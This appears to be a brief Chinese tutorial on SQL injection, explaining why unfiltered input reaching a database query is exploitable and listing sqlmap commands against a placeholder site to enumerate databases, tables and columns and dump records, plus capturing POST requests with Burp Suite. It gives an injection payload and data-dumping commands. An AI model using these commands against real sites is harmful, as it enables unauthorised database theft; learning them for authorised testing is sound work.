介绍sql注入之前,我们有必要了解一下大致的网站架构,以典型架构LAMP为例
对于很多企业来说,最重要的就是数据. 而这也成为sql注入被很多黑客广泛应用的一种攻击方式
1.以我们进行百度搜索时某个"关键词"时,我们客户端的请求就会被带入数据库查询.
2.正常情况下,我们应该请求一些正确的内容,比如 www.baidu.com/s?id=1
这里,id=1是正常的参数
3.但是如果说某个网站存在sql注入漏洞,没有对客户端的输入做过滤,那么当我输入s?id=1' and select database() --+
这里and后的语句就是"非法语句",显然服务端不希望我们获取响应信息.这时,sql注入就出现了.
4.简单来说,sql注入就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询.
5.了解了sql注入的原理,就知道sql注入的条件了: 对用户端输入过滤不严格;并且可以带入数据库查询.
sqlmap:代替手动,自动构造大量的sql语句探测漏洞,高效发现目标信息 burpsuite:抓包,拦截抓取到请求的参数,如果目标不是get请求,我们无法在url中拼接参数,所以需要抓包再结合sqlmap进入注入测试
假设 http://www.test.com/fu?id=111
是存在注入点的url
python sqlmap.py -u "http://www.test.com/fu?id=111" --dbs
python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 --tables
python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 --columns
python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 -C "字段1,字段2,字段3,字段4" --dump
上述语法中 `-u` 可以省略
post请求无法通过以上的 sql语句直接扫描,下面是对于post请求的SQL漏洞测试方法
右键copy to file
将请求内容保存为文件
爆数据库语句 sqlmap -r 前面保存的位置 -p 请求参数 --dbs
获取库名后,爆表、字段、记录其它用法和get类型的请求一致